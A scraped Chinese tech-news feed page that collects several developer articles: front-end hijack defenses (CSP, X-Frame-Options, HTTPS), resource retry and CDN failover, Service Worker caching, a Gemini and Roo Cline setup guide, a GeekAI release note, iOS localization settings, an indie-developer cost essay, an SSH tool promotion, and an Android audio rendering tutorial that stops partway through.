首先,考虑标记的添加和过滤。如果要遍历每个标签并加上自定义属性,无疑会消耗大量的性能。因此,只需要给顶层标签加上自定义属性;对于新增标签,只需判断其是否为顶层容器的后代、或者是否具有合法标记,从而判断新增标签是否合法。这样可以大大提高判断效率。

然后,考虑标记过滤的时机。为了控制增量插入的标签,可以采用以下方式:

  • 重写 appendChild 方法:如果新增的标签合法,则执行原生方法来插入标签,否则终止操作。除了 appendChild,可能还需要重写 innerHTMLappenddocument.write 等方法,改动范围比较大。
  • 监听 MutationEvent 中的 DOMNodeInserted 事件:检测增量插入的新标签,如果不合法则移除。这种方式有两个问题:
    • MutationEvent 事件无法取消,只能在标签插入后再移除,会导致页面闪烁。
    • MutationEvent 事件机制是同步的,每次DOM修改都会触发。在这里进行处理可能会影响性能。
  • 监听 MutationObserver 事件:使用HTML5 的 MutationObserver API 代替MutationEvent事件,异步批量处理DOM 变更,解决性能问题。

下面就用MutationObserver实现一个简单的标记过滤方法:

<body>
  <div id="legitimate-container" data-legitimate="true">
    legitimate-container
  </div>

  <script>
    const legitimateContainer = document.getElementById('legitimate-container')
    function isLegitimateNode(node) {
      // 合法容器的后代节点:合法
      if (legitimateContainer.contains(node)) return true
      // 具有合法标记的节点:合法
      if (node.getAttribute('data-legitimate') === 'true') return true
      return false
    }
    const observer = MutationObserver(function(records, target) {
      records.forEach(record => {
        record.addedNodes.forEach(node => {
          // 不合法标签:移除
          if (!isLegitimateNode(node)) {
            document.body.removeChild(node)
          }
        })
      })
    })
  </script>
</body>

2.2 CSP配置

CSP(Content Security Policy,内容安全策略) 是一种安全机制,通过配置 HTTP 头或 meta 标签,用于控制哪些资源可以在页面上加载和执行,防止跨站脚本攻击(XSS)等。

CSP通过指定有效域的方式限制脚本、图片等资源的有效来源。比如:

<meta http-equiv="Content-Security-Policy" content="script-src 'self';">

通过指定script-src 'self',浏览器只允许加载同域名的脚本,非同源的远程脚本和内敛脚本都不允许执行,并且在控制台给出错误提示。这样就可以避免劫持中遇到的注入内联脚本和加载远程恶意脚本的情况。

如果开发人员需要执行内联脚本并加载非同源的远程脚本,那么可以通过添加nonce-<bash64>或者sha256-<base64>进行配置,对指定的脚本进行加白处理。比如:

<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'nonce-1234567';">

<script nonce="1234567">alert('test')</script>
<script nonce="1234567" src="https://third-party/xxx.js"></script>

CSP 还可以指定允许使用的协议,比如服务器可以指定所有内容必须通过 HTTPS 加载。一个完整的数据安全传输策略应该包括:

  • 强制使用 HTTPS 传输数据:指定Strict-Transport-Security HTTP头
  • 提供重定向功能,让 HTTP 页面跳转到 HTTPS 页面。比如设置 upgrade-insecure-requests CSP策略,将页面中的所有 HTTP 请求自动升级为 HTTPS 请求。
  • 为所有的 cookie 标记 Secure 标识

对于 CSP 错误,还可以在HTTP头的CSP配置中指定report-uri,从而上报错误信息。开发人员可以根据错误信息快速定位页面资源加载异常的节点,从而提高页面资源的安全稳定性。

2.3 防iframe劫持

如果页面被嵌入到其他恶意网站的 iframe 中,恶意网站就可以通过 iframe 引用来获取用户信息或篡改页面内容。

可以通过以下方法来防止 iframe 劫持:

  • 使用 JavaScript 判断:页面初始化时,判断window.topwindow.self 是否相等,即可判断当前页面是否被 iframe 嵌入。

    function detectIframeHijack() {
      if (window.top !== window.self) {
        console.log('当前页面被 iframe 嵌入');
        // 方法1:跳转到目标页
        window.top.location.href = window.self.location.href;
        // 方法2:页面上给出提示
        document.write('页面访问异常,请联系客服')
      }
    }
    
  • 配置 X-Frame-Options HTTP 响应头或meta标签:指示浏览器当前页面是否允许被嵌套在 iframe 中。比如,可以在 nginx 中配置 HTTP 响应头:

    # 不允许被嵌套,即使是同源页面嵌套
    add_header X-Frame-Options "DENY";
    
    # 允许同源页面的嵌套
    add_header X-Frame-Options "SAMEORIGIN";
    
    # 指定允许被嵌套的页面
    add_header X-Frame-Options "ALLOW-FROM https://a.com,https://b.com";
    

2.4 使用HTTPS

HTTP 的内容采用明文传输,明文数据会经过中间代理服务器、路由器、WiFi热点和通信运营商的多个物理节点,如果信息在传输过程中被劫持,就会导致信息泄露或篡改。为了解决这类问题,HTTPS 诞生了。

HTTPS 在 HTTP 的基础上通过传输加密身份认证,保证了传输过程的安全性。它是由 HTTP 加上SSL/TLS 协议构建的网络协议,主要通过数字证书、加密算法、非对称密钥等技术实现。

  • 数字证书:首先,服务端向第三方权威证书颁发机构(CA)购买数字证书,数字证书中包含了由 CA 私钥生成的签名。当客户端收到服务器的数字证书后,会使用其操作系统或浏览器内置CA的公钥来进行签名验证,将证书信息的哈希值进行比较,如果两者完全一致,就证明了该证书是由该 CA 颁发的,并且在传输过程中没有被篡改,从而确保了证书的完整性和真实性,实现了服务端的身份认证。

  • 加密算法:HTTPS 对传输内容进行对称加密

  • 非对称加密:对称加密使用的会话密钥是在SSL/TLS握手过程中通过非对称加密的方式传输的。

SSL/TLS握手的过程:

sequenceDiagram
    participant 客户端
    participant 服务器

    客户端->>服务器: 发送ClientHello(SSL/TLS 版本、加密套件列表、客户端随机数)
    服务器->>客户端: 发送ServerHello(选定的 SSL/TLS 版本、选定的加密套件、服务器随机数、证书)
    客户端->>客户端: 验证服务器证书
    客户端->>服务器: 发送ClientKeyExchange,更改密码规范
    客户端->>服务器: 发送 ChangeCipherSpec(表示将使用新的加密套件)及 Finished(包含之前握手信息的加密验证)
    服务器->>客户端: 发送 ChangeCipherSpec(表示将使用新的加密套件)及 Finished(包含之前握手信息的加密验证)
    客户端->>服务器: 发送应用数据(加密)
    服务器->>客户端: 发送应用数据(加密)

3. 稳定性保障

前端页面的渲染依赖静态资源的加载和执行,因此资源加载错误对前端页面来说是致命的,如果静态资源加载出错,可能导致前端页面无法渲染,影响系统的稳定性。

3.1 资源加载监控

使用 Performance.getEntriesPerformanceObserver可以监听资源加载情况。

  • window.onload 事件触发时,页面已经完全载入,包括静态资源加载完成。此时可以使用Performance.getEntries API 获取资源加载列表,拿到资源请求的详细情况,包括fetchStartresponseStartdurationtransferSize等。

  • 还可以使用PerformanceObserver API 监听动态插入的资源加载情况。

此外,还需要关注资源加载错误的情况。

  • 使用 onerror 事件定向监听某个资源加载失败。如果是跨域脚本报错时,onerror只会提示script error,无法精确到文件和行数,为此还需要给script标签配置crossorigin="anonymous"属性。
 <img src="image.jpg" onerror="handleImageError(event)">
 <script crossorigin="anonymous" src="https://example/a.js" onerror="handleJsError(event)">
  • 使用 window.addEventListener 全局监听资源加载失败事件,并且设置第三个参数为true,可以在事件捕获阶段监听错误。
window.addEventListener('error', function(event) {
  // 自定义错误处理
  if (event.target.tagName === 'IMG') {
    console.error("Image failed to load:", event.target.src);
  } else if (event.target.tagName === 'SCRIPT') {
      console.error("Script failed to load:", event.target.src);
  } else if (event.target.tagName === 'LINK') {
      console.error("Stylesheet failed to load:", event.target.href);
  }
}, true);

3.2 资源重试

当资源加载失败时,如果页面没有任何保障措施,用户就只能通过刷新页面来重新加载资源。为了提升用户体验,我们可以引入资源重试机制。

我们可以通过 window.addEventListener 来监听 error 事件,监控资源加载失败的情况。然后,针对不同的资源采用不同的资源加载重试机制。比如,CSS资源可以通过插入 link 标签重新加载资源。

// 监听 error 事件
window.addEventListener('error', function (event) {
    if (event.target.tagName === 'LINK') {
        // 处理 link 资源加载失败
        const link = event.target;
        retryLink({
            id: link.id,
            href: link.href
        });
    }
    // 重试其他资源
}, true);

// 重试加载 link 资源
function retryLink(resource) {
    const newLink = document.createElement('link');
    newLink.rel ='stylesheet';
    newLink.href = resource.href;
    newLink.id = resource.id;
    document.head.appendChild(newLink);
}

对于 JavaScript 资源,为了有效保证 JavaScript 的执行顺序,需要手动处理串行加载,在前一个资源加载完成后再插入下一个标签。

// 重试加载 script 资源
function retryScripts(urls) {
  const url = urls.shift();
  if (!url) return;
  const newScript = document.createElement('script');
  newScript.src = url;
  // script 资源加载完成后加载下一个资源
  newScript.onload = () => {
    retryScripts(urls);
  };
  document.head.appendChild(newScript);
}

此外,还要考虑避免无效的资源重试:

  • 检查网络连接状态:资源加载失败通常是由于网络波动等原因造成的,当 window.navigator.onLinefalse 时,表示网络处于断开状态,此时可以给出提示。
  • 设置资源重试次数上限:设置资源重试次数的上限,避免无限重试带来的性能损耗。

3.3 域名切换

如果网络连接状态正常,而资源还是加载失败,这可能是由于服务异常导致的,比如 CDN 厂商服务异常。这种情况往往需要一定的时间才能恢复系统,在此期间用户的服务都会受到影响。为了快速恢复线上资源可用性,可以通过切换域名,从正常工作的服务中获取资源。

比如,在 CDN 服务中,可能会出现部分区域的服务,导致资源解析失败。为了应对这种情况,需要添加 CDN 资源容灾方案,即添加多个备用 CDN 域名,并且在资源重试重试后更换新的 CDN 资源域名。

// 定义备用 CDN 域名数组
const backupCdns = [
    'https://backup-cdn1.example.com/', 
    'https://backup-cdn2.example.com/', 
    'https://backup-cdn3.example.com/'
];

// 存储待重试的 CSS 资源信息
const cssResourcesToRetry = [];

// 监听 error 事件
window.addEventListener('error', function (event) {
    if (event.target.tagName === 'LINK') {
        // 处理 CSS 资源加载失败
        const resource = event.target;
        cssResourcesToRetry.push({
            id: resource.id,
            url: resource.href,
            backupIndex: 0,
            retryCount: 0
        });
        retryCssResources();
    }
});

function retryCssResources() {
    if (cssResourcesToRetry.length === 0) {
        return;
    }
    const resource = cssResourcesToRetry.shift();
    let newUrl = resource.url;
    if (resource.retryCount < backupCdns.length) {
        // 尝试使用备用 CDN 域名
        const newDomain = backupCdns[resource.backupIndex]
        newUrl = replaceDomain(newUrl, newDomain);
        resource.backupIndex++;
        resource.retryCount++;
        cssResourcesToRetry.push(resource);
    } else {
        console.error(`CSS resource ${resource.id} failed to load after retries. Giving up.`);
        return;
    }
    // 重试加载 link 资源
    const newLink = document.createElement('link');
    newLink.rel ='stylesheet';
    newLink.href = newUrl;
    newLink.id = resource.id;
    document.head.appendChild(newLink);
}

3.4 资源离线化

当资源重试、域名切换都不能解决资源异常问题时,通常浏览器的网络连接已经处于离线状态了。在一些特殊的应用场景下,开发人员需要对部分资源进行离线化处理,以保证网络中断时服务的核心功能依然可以使用,从而给产品带来正向的体验收益,提升用户留存率和口碑。比如阅读类应用中,离线化阅读是一种非常普遍的而且能极大提升用户体验的功能。

为了实现资源离线化,可以借助 Service Worker 机制。它提供了独立的后台线程,可以拦截所有请求,开发人员可以进行自定义操作,从而精细化控制离线资源。比如当资源请求命中缓存时返回本地缓存资源,未命中缓存时发起资源请求并且缓存结果,还可以在请求失败时返回本地备用资源做降级处理。。

在页面主线程中注册 Service Worker

if ('serviceWorker' in navigator) {
  navigator.serviceWorker.register('/service-worker.js')
    .then(function(registration) {
              console.log('Service Worker 注册成功,范围是:', registration.scope);
          })
    .catch(function(error) {
              console.error('Service Worker 注册失败:', error);
          });
}

service-worker.js 中实现资源离线化处理:

const CACHE_NAME = 'my-site-cache-v1';
const urlsToCache = [
    '/',
    '/index.html',
    '/styles.css',
    '/script.js',
    '/image.jpg'
];

// 安装:配置离线化资源
self.addEventListener('install', function(event) {
    event.waitUntil(
        caches.open(CACHE_NAME)
            .then(function(cache) {
                console.log('[Service Worker] cache opened');
                return cache.addAll(urlsToCache);
            })
    );
});

// 响应请求:返回离线化资源
self.addEventListener("fetch", function (e) {
  e.respondWith(
    caches.match(e.request).then(function (r) {
      console.log("[Service Worker] Fetching resource: " + e.request.url);
      return (
        r ||
        fetch(e.request).then(function (response) {
          return caches.open(CACHE_NAME).then(function (cache) {
            console.log(
              "[Service Worker] Caching new resource: " + e.request.url,
            );
            cache.put(e.request, response.clone());
            return response;
          });
        })
      );
    }),
  );
});

参考:MDN: 通过 Service workers 让 PWA 离线工作

by Paramita at January 19, 2025 05:19 AM

juejin freebie

使用Roo Cline体验Gemini2.0的新方式

上次了解了Gemini的3种使用方式,感兴趣的可以查看往期: 【Gemini】体验Gemini 2.0的正确姿势

在此期间也尝试在VS Code中使用,不过一直没有成功,最近发现了正确使用Gemini的方式,感兴趣的可以试玩起来。

Google 为所有开发者提供了 Gemini 的免费调用方式:只要频率不高于 10次/分钟,不超过每天最大请求条数即可使用,如果超过使用频率或次数会提示429。

Gemini限制

API请求限制,频率不高于10 次/分钟,最大请求数1500条/天(不同模型要求不一样)

Gemini API文档

官方文档:ai.google.dev/gemini-api/…

图片

安装Roo Cline

安装方式参考:【VS Code】Roo Cline+DeepSeek更好用?

获取Gemini API Key

Gemini API Key获取地址:aistudio.google.com/app/apikey

图片

点击【创建API秘钥】,选择项目(应该是平台自己创建的,自己没有创建过),点击【在现有项目中创建API秘钥】

图片

创建完成后,可以保存也可以不用保存,API Key列表提供了查看功能,遗忘的话可以重新查看

图片

配置方式一:VS Code科学

正常使用Gemini需要科学上网,所以我们需要在电脑科学的前提下,为VS Code配置科学环境

限制

  • 需要科学上网
  • VS Code需要配置代理,【VS Code】VSCode 设置代理模式
  • API请求限制,频率不高于10 次/分钟,最大请求数1500条/天(不同模型要求不一样)

Roo Cline配置

Roo Cline目前已经支持了 Gemini 模型接入,在【API Provider】列表中选择【Google Gemini】,在【Gemini API Key】中输入上面创建的API Key,【Model】选择【gemini-2.0-flash-exp】,最后点击右上角的【Done】完成配置。

图片

图片

                   

配置方式二 :OpenRouter

使用三方模型接入服务方OpenRouter,OpenRouter兼容了Gemini的调用方式,目前gemini-2.0可以免费使用

限制

速度稍慢,有时会报错

Roo Cline配置

OpenRouter API Key的申请方式查看往期:大模型统一接入路由器OpenRouter

Roo Cline目前已经支持了 OpenRouter 接入方式,在【API Provider】列表中选择【OpenRouter】,在【OpenRouter API Key】中输入OpenRouter的API Key,【Model】选择【google/gemini-2.0-flash-exp:free】,最后点击右上角的【Done】完成配置。

图片

图片

基本使用

普通聊天

图片

图片处理

图片

图片

需求迭代

让Gemini添加一个基础的组件功能,看看Gemini的表现

图片

Gemini没有识别其他依赖安装的dayjs库,代码引入了moment造成报错,把错误信息粘贴给AI处理

图片

AI帮我自动安装了缺少的依赖,但是运行后依然报错

图片

图片

最终经过2轮修复,终于跑起来了

图片

工程能力

图片

跨文件处理

我们输入如下提示词要求AI为我们新增页面和路由切换跳转处理

图片

图片

图片

功能完成了,就是UI有点丑

图片

费用及限制

API文档有点难用,时常打不开看不到内容

Gemini 付费及免费模型相关的使用限制在 Google AI Studio 上都可以查看,官网地址:aistudio.google.com

以 Gemini 2.0 Flash Experimental 为例,使用限制如下:

图片

免费版限制(不同模型限制不一样):

  • 这里的Token Count是聊天上下文的token数限制,清除聊天记录token数会重置

  • 服务的请求速率限制是每分钟10次,

  • 该服务每天最多允许1500次请求。

超出限制会造成请求失败429,频率可能会比较高,可以稍后重试。

图片

使用体验

Roo Cline + Gemini2.0 使用下来整体感觉一般,只使用了其编程能力,也可能还没有发挥它的长项。

  • VS Code配置过程是有点痛苦的,不仅需要国际网络环境,使用Roo Cline调用还需要配置VS Code代理模式
  • 使用OpenRouter虽然无需关心网络问题,但多数模型还需要收费,让人望而却步
  • Gemini是支持图片处理的,配合Roo Cline可以拖拽图片让AI处理
  • 在Roo Cline中的其他能力也都能正常使用,就是会时不时的请求失败429

友情提示

见原文:使用Roo Cline体验Gemini2.0的新方式

by 小溪彼岸 at January 19, 2025 05:15 AM

oschina news project

GeekAI v4.1.4 发布,AI 助手全套开源解决方案

GeekAI v4.1.4 已经发布,AI 助手全套开源解决方案。

此版本更新内容包括:

  • 功能优化:用户文件列表组件增加分页功能支持
  • Bug修复:修复用户注册失败Bug,注册操作只弹出一次行为验证码
  • 功能优化:首次登录不需要验证码,直接登录,登录失败之后才弹出验证码
  • 功能新增:给 AI 应用(角色)增加分类,前端支持分类筛选
  • 功能优化:允许用户在聊天页面设置是否使用流式输出或者一次性输出,兼容 GPT-O1 模型。
  • 功能优化:移除PayJS支付渠道支持,PayJs已经关闭注册服务,请使用其他支付方式。
  • 功能新增:新增GeeK易支付支付渠道,支持支付宝,微信支付,QQ钱包,京东支付,抖音支付,Paypal支付等支付方式
  • Bug修复:修复注册页面 tab 组件没有自动选中问题 #6
  • 功能优化:Luma生成视频任务增加自动翻译功能
  • Bug修复:Suno 和 Luma 任务没有判断用户算力
  • 功能新增:邮箱注册增加邮箱后缀白名单,防止使用某些垃圾邮箱注册薅羊毛
  • 功能优化:清空未支付订单时,只清空超过15分钟未支付的订单

详情查看:https://gitee.com/blackfox/geekai/releases/v4.1.4

by 来源: 投稿 at January 19, 2025 05:12 AM

juejin ios

Flutter iOS 调起相机、相册显示英文,需要改成中文

一、解决问题

  • flutter 相机使用的是 image_picker 插件,打开中文的问题跟原生开发解决思路是一样的。

  • 在开发相机、相册功能时,默认调起展示的英文,可以通过原生工程修改 info 配置,添加:

    Localization native development region -> String -> zh_CN

    Localized resources can be mixed -> Boolean -> YES

    注意:推荐从原工程 Target 中进入修改,直接修改 info.plist 文件有概率不生效,可能是同步问题,理论上来说都可以,如果遇上了这个问题了可以尝试下。下面也提供了 info.plist 配置方式。

    image.png

  • 配置细节了解:

    通常配置 Localization native development region 配置后就生效了,而 Localized resources can be mixed 属于可选,可以加一个尝试一下再追加。

    如果两个配置都设置了,还没有生效,那么就还需要添加一下资源包:

    image.png

    加了资源包后,重新运行看下有没有问题,按理论上基本就不会存在问题了,如果还有还可以强制设置一下默认:

    image.png

    到这还不行,重新找文档吧。

二、info.plist 配置与介绍总结

1. Localization native development region

  • 作用:这个键指定了应用的默认区域设置。如果你将其设置为某个特定的区域(例如 zh_CN),并且没有设置其他区域相关的资源,它将会使你的应用在默认情况下使用该区域的语言和格式。
  • 效果:即使没有在应用中本地化所有资源文件,系统也会根据这个设置提供默认的区域语言。

示例

<key>Localization native development region</key>
<string>zh_CN</string>

2. Localized resources can be mixed

  • 作用:这个设置允许混合使用不同区域的资源。如果启用了它,资源文件(例如 strings、图片等)可以不严格依赖于区域设置,这意味着可以在多个区域中共享资源,而不需要为每个区域单独维护一组资源。

  • 效果:即使没有明确为每个区域提供本地化资源,这个设置也会让应用根据开发设置的默认语言进行显示。

示例

<key>Localized resources can be mixed</key>
<true/>

结论

  • 只要 Localization native development region 设置正确,应用会优先使用该区域的语言。例如,zh_CN 会让系统默认使用简体中文。
  • 如果希望更灵活地使用资源,并且不强制按地区创建多个资源文件,可以启用 Localized resources can be mixed,这样即使没有为所有地区提供资源,应用也可以正常运行。

实际应用中

  • 如果希望应用强制使用中文,并且不需要其他语言的支持,那么只配置 Localization native development regionzh_CN 就足够了。
  • 如果需要更灵活地处理不同语言和地区的资源,可以同时启用 Localized resources can be mixed

by 卡尔特斯 at January 19, 2025 04:41 AM

juejin article

独立开发:论成本

我发现,很多已经在做独立开发,或者想做独立开发的人,对于 成本 问题,在策略层面,还是缺少了一点控制。

先对齐一下信息,这里的 成本,指的是 金钱时间精力产品类型 等各个方面的统一成本。

下面一一分析一下。

域名

很多人总喜欢 干大事,精挑细选,反复斟酌。每个产品都喜欢买一个新域名,然后重复经历备案的过程。

我至今只备案过一个域名,说实话,流程还是稍显繁琐的。后面备案新的个人域名,还要提供网站建设书什么的,不知道大家是不是这样。

所以,域名这个问题,我自己的策略就是,只备案一个域名,其他的产品都用二级域名来承载,这样可以减少新域名备案的过程,节约时间。

服务器

与域名配套的,就是服务器了,这个呢,我还是上面的策略,一个服务器足够了。趁着活动期间购买,能便宜不少。

平台选型

这里的平台,就是网站站点、网页工具、浏览器插件、utools 插件、VSCode 扩展、wordpress 插件、fastAdmin 插件等等。

当然,我没有做过所有平台,目前主要做的平台就是 utools插件VSCode扩展,其他的平台我也不太了解,熟悉的人可以到评论区分享下。

utools 插件,是我最为推荐的一个平台,因为可以 100% 白嫖,简直是独立开发的天堂。

平台本身有百万以上的用户量,日活很大,很高。

因为是依托于平台的插件,所以域名是不用购买的。

数据存储呢?要买服务器吗?也不用。平台提供了接口,数据存在本地,可以自动同步到官方服务器上。

立马就节省了在 域名服务器 上的时间和开销,很 good。

还有另外一个非常关键的问题:支付

众所周知,支付,收款,是一个令很多独立开发者非常头疼的问题。

没关系,utools 也给你解决了,只要你的插件下载量超过 1000,那么你就可以发邮件给官方,申请开通支付功能。

我的utools产品收益

每个月,官方都会把收益打到你的卡上。

当然,前提是你的插件确实不错,击中了用户的心巴,别人愿意付费才行。

做什么产品

做什么产品,也要考虑策略。是大而全?还是小而美?是专注于聚焦?还是广撒网?

这个问题,一定要根据自身情况来选择。

比如 utools,官方从19年发布,做到现在已经5年时间了,够聚焦了吧。

比如快图设计的作者,秦少卫,短短半年时间,设计类工具盈利已经超过以前在北京上班的收入了。

比如 h5-door 作者,徐小夕,专注做低代码,早就做到百万以上了。

比如 leaferjs 的作者,万超,专注做图形底层,目前已经有很多公司和用户使用了。

这是聚焦的案例,他们都有个特点,首先是对需求,对市场的把控,非常精准。做事非常专注,常年在产品的技术领域深耕。

所以,他们是适合做个位数的产品聚焦的。

而像产品的扩散,也就是做产品矩阵,外国有几个案例,其中一个做了 70 多个产品后,才开始有产品盈利。

总的来说,聚焦的成本更大,不管是时间,还是技术上面,对于个人的要求更高。

而采用广撒网,做产品矩阵的话,就没有那么高的要求,可以慢慢想,慢慢做,适合像我这样的,兴趣广泛,不想一直耗在少数几个产品上面的。

我的产品,要么3天上线,要么 2 周上线,反正很少有开发时间超过 1 个月的,最多最多,不要把开发时间超过 3 个月,否则产品真的难矩阵起来。

推广和营销

这几乎是所有独立开发者的痛点,我也不例外。

根据我浅薄的经验来看,要么花钱,要么做个人影响力。

花钱就不说了,能用钱解决的问题,那都不是问题。

而不花钱,像我一样的穷推广,我的经验就是,做个人影响力,做个人品牌,个人 IP。

让更多人认识你,了解你,知道你,从而购买你的产品,你的课程等等。

非常典型的 2 个人,前端盼哥和 Java 继父徐胜军。

不管有没有做成功,在名气广为人知的情况下,进行产品的推广和营销,那肯定是事半功倍的。

很多人对推广和营销很反感,我觉得每个 自救 的人,都值得鼓励。

唯一的评判标准就是,你是真的提供了价值,还是纯粹的割韭菜。

by 前端之虎陈随易 at January 19, 2025 04:36 AM

juejin freebie

推荐一款非常好用的在线 SSH 管理工具

前言

SSH工具在远程连接、文件传输、远程管理和增强安全性等方面发挥着重要作用,是我们开发人员和系统管理员不可或缺的工具。今天大姚给大家推荐一款非常好用的在线 SSH 管理工具:Xterminal。

工具介绍

Xterminal一个好用的在线SSH、SFTP工具,支持跨平台(Windows、Linux、MacOS)运行,随时随地打开,支持文件在线编辑、状态监控,支持私有部署线路,给你最大的数据安全保障 (服务器文件管理 / 状态监控 / AI 命令解释补全)。

工具特点

  • 支持跨平台(Windows、Linux、MacOS)运行。
  • 定制化布局,简易操作文件与实时系统监控。
  • 提供命令补全功能,使复杂命令的输入变得简单明了,提升命令输入效率。
  • 操作简单,无需学习,轻松编辑、删除、新增、上传下载、移动文件。
  • AI智能命令提示,通过AI技术提供智能命令提示,减少命令输入的错误和猜测。
  • AI解答,让你的疑问得到即时解答等等...。

工具下载

功能演示

程序员常用的工具软件

本文工具已收录至Awesome Tools,程序员常用高效实用工具、软件资源精选,办公效率提升利器。

by 追逐时光者 at January 19, 2025 03:52 AM

juejin android

音视频基础能力之 Android 音频篇 (五):史上最全的音频渲染总结

涉及硬件的音视频能力,比如采集、渲染、硬件编码、硬件解码,通常是与客户端操作系统强相关的,就算是跨平台的多媒体框架也必须使用平台原生语言的模块来支持这些功能。

本系列文章将详细讲述移动端音视频的采集、渲染、硬件编码、硬件解码这些涉及硬件的能力该如何实现。本文为该系列文章的第 5 篇,将详细讲述在 Android 平台下如何实现音频的渲染。

前言

在之前的文章,我们详细介绍了 Android 平台下音频采集的几种方式,像 Java API 的 AudioRecord、MediaRecord,c/c++ 接口的 OpenSL、AAudio、Oboe。有关于音频渲染的接口和音频采集的接口是一一对应的,如下图所示。

image.png

由于之前都介绍过相关接口的使用,本文将着重讲解下相关 API 差异性的地方,或者之前没有提及到的地方。如果您是第一次观看我们的文章,非常建议您浏览下之前的相关文章,这对您掌握本文的知识点大有裨益。

音视频基础能力之 Android 音频篇(一): 音频采集

音视频基础能力之 Andoid 音频篇(二):音频录制

音视频基础能力之 Android 音频篇 (三):高性能音频采集

需注意 MediaPlayer 的有关内容本文将不会介绍,它更偏向于媒体文件的播放,不仅包含音频、视频,还涉及到解封装和解码。而本文讲述的重点是音频裸流 PCM 的播放,准备在完成视频篇内容之后再来详细介绍,敬请期待。

Demo 的代码链接在文章的底部,如果您对实现细节不想关注的话,烦请移步。

AudioTrack

使用 Java API AudioTrack 的好处是集成方便,不需要接触 c/c++ 相关的东西,底层系统都帮你完成了,只要你传一些参数即可,但是不适用于低延迟的音频场景。

初始化

首先,需要关注下播放音频帧大小是否大于系统支持的最小音频缓冲 buffer 的大小,若大于则需要调整,这点之前在之前的文章已详细讲解。

val bytesPerFrame = channels * BITS_PER_SAMPLE / 8
byteBuffer = ByteBuffer.allocateDirect(bytesPerFrame * (sampleRate / BUFFERS_PER_SECOND))
Log.i(this.tag, "byteBuffer.capacity: ${byteBuffer?.capacity()}")
val channelConfig = channelCountToConfiguration(channels)
var minBufferSizeInBytes = AudioTrack.getMinBufferSize(sampleRate, channelConfig, AudioFormat.ENCODING_PCM_16BIT)
Log.i(this.tag, "AudioTrack.getMinBufferSize:$minBufferSizeInBytes")

if (minBufferSizeInBytes < byteBuffer!!.capacity()) {
    Log.i(this.tag, "AudioTrack.getMinBufferSize returns an invalid value.")
    return ErrorCode.INIT_ERROR.ordinal
}

接下来就是 AudioTrack 对象的构造了,在 Android API 21 上下,实现方式有所不同。来看下代码:

// API小于21
AudioTrack audioTrack = new AudioTrack(stream_type, sampleRateInHz, channelConfig,
        AudioFormat.ENCODING_PCM_16BIT, bufferSizeInBytes, AudioTrack.MODE_STREAM);
        
// API大于等于21
AudioTrack audioTrack = AudioTrack(AudioAttributes.Builder().setUsage(usageAttribute).setContentType(contentType).build(),
    AudioFormat.Builder().setEncoding(AudioFormat.ENCODING_PCM_16BIT).setSampleRate(sampleRate).setChannelMask(channelConfig).build(),
    minBufferSizeInBytes, AudioTrack.MODE_STREAM, AudioManager.AUDIO_SESSION_ID_GENERATE)

API 21 以上 AudioTrack 的构造明显变复杂了,参数不仅变多了且更细化了。

  • AudioAttributes 音频属性,高版本 Android 替代 streamType 这个概念,强调的是音频的用途和内容。音频路由篇曾介绍过,系统会根据音频属性来决定音频路由的抉择和音量调整等。
  • AudioFormat 音频规格,采样率、通道数、位宽等老演员了😁
  • byteSizeInBytes 设定单次渲染的字节数
  • mode 渲染模式,MODE_STATIC 适用于渲染的整体音频量不大的,需要反复播放的业务场景,例如音效;MODE_STREAM 是需要持续不断的让系统去渲染的音频场景,这里先了解下,后续会结合源码详细介绍下。
  • sessionId 可以通过该值来达到精准的音频会话管理,比如音量控制、路由控制、音效控制等。如果没有此需求,填 AudioManager.AUDIO_SESSION_ID_GENERATE 即可。

开始渲染

在开启渲染之前,得单独准备一条音频的渲染线程,音频 PCM 数据需要通过这条线程写入系统底层音频合流服务。

线程执行流中的关键步骤如下:

  1. 设置音频渲染线程高优先级,高优先级的线程会被系统 CPU 优先调度,且获取的 CPU 时长比普通线程长一些。设置高优先级的意义也是为了播放音频流更加的流畅,因为人耳对音频的延迟、卡顿的敏感度是非常高的。
// step1: 设置音频渲染线程的优先级,THREAD_PRIORITY_URGENT_AUDIO 算是非常高的线程优先级了,
Process.setThreadPriority(Process.THREAD_PRIORITY_URGENT_AUDIO)
  1. 准备 PCM 数据源,我们这里为了演示就直接从文件里面读取数据了。
val sizeInBytes = byteBuffer!!.capacity()
val byteArray = ByteArray(sizeInBytes)

while(keepAlive) {
//....  
val readLen = inputStream.read(byteArray)
  if (readLen < sizeInBytes) {
    Log.w(this.tag, "read pcm buffer not equals sizeInBytes.")
    if (readLen < 0) { //-1 means read end.
        keepAlive = false
        return
    }
}

//放到 ByteBuffer 中去
  byteBuffer?.put(byteArray)
  byteBuffer?.rewind()
//....
}
  1. 向 AudioTrack 对象写入音频数据,最后一个参数表示此方式是同步执行还是异步执行。如果是异步执行,会将数据抛向队列中去,立马返回;如果是同步执行,会等待写入成功为止。如果是低延迟场景,建议还是选择同步返回,因为我们可以根据写入的耗时来计算是否需要丢包等逻辑。如果选择异步返回,一般是需要保证数据渲染的完整性。
val len = audioTrack!!.write(byteBuffer!!, sizeInBytes, AudioTrack.WRITE_BLOCKING)
if (len != sizeInBytes) {
    Log.e(this.tag, "AudioTrack.write played invalid bytes.")
}
if (len < 0) {
    keepAlive = false
    return
}
byteBuffer?.rewind()

开启渲染逻辑如下:

// step1: 调整 AudioTrack 进入 PLAYING 状态:
audioTrack!!.play()

// step2: 开启音频渲染线程轮转
audioThread = AudioTrackThread()
audioThread!!.start()

停止渲染

//step1: 退出音频渲染线程
audioThread?.stopThread()
audioThread = null

//step2: 释放AudioTrack资源
audioTrack?.flush()
audioTrack?.release()
audioTrack = null

OpenSL

如果您对实现 OpenSL 的代码流程或者细节还不熟悉的话,可以先阅读下 音视频基础能力之 Android 音频篇 (三):高性能音频采集

之前的文章说过 OpenSL 由于功能比较全面加上接口拓展性比较强,所以导致接口非常的多。实现起来的代码量非常的多,这里就不贴代码了,我们结合时序图来讲述下重点环节。

audio_playout-%E7%AC%AC_2_%E9%A1%B5.jpg

初始化流程

  • sl_engine_ 对象将必要的音频参数通过 CreateAudioPlayer 函数构造出来 sl_player_object_ 对象。sl_player_object_ 是完成音频渲染的关键对象。
  • 通过 sl_player_object_ 分别构造出 play_config 对象,sl_player 对象、simple_buffer_queue_ 对象。
    • SLAndroidConfigurationItf (Android 平台的拓展) 提供了设置 Android 平台特性相关的参数,类似于 streamType 等。
    • SLPlayItf 提供播放状态的设置/获取与相关回调,详细的可参考接口类。
    • SLAndroidSimpleBufferQueueItf 主要提供音频 buffer Queue 相关的控制、回调接口。

核心播放相关代码

  1. 监听 BufferQueue 的数据回调请求
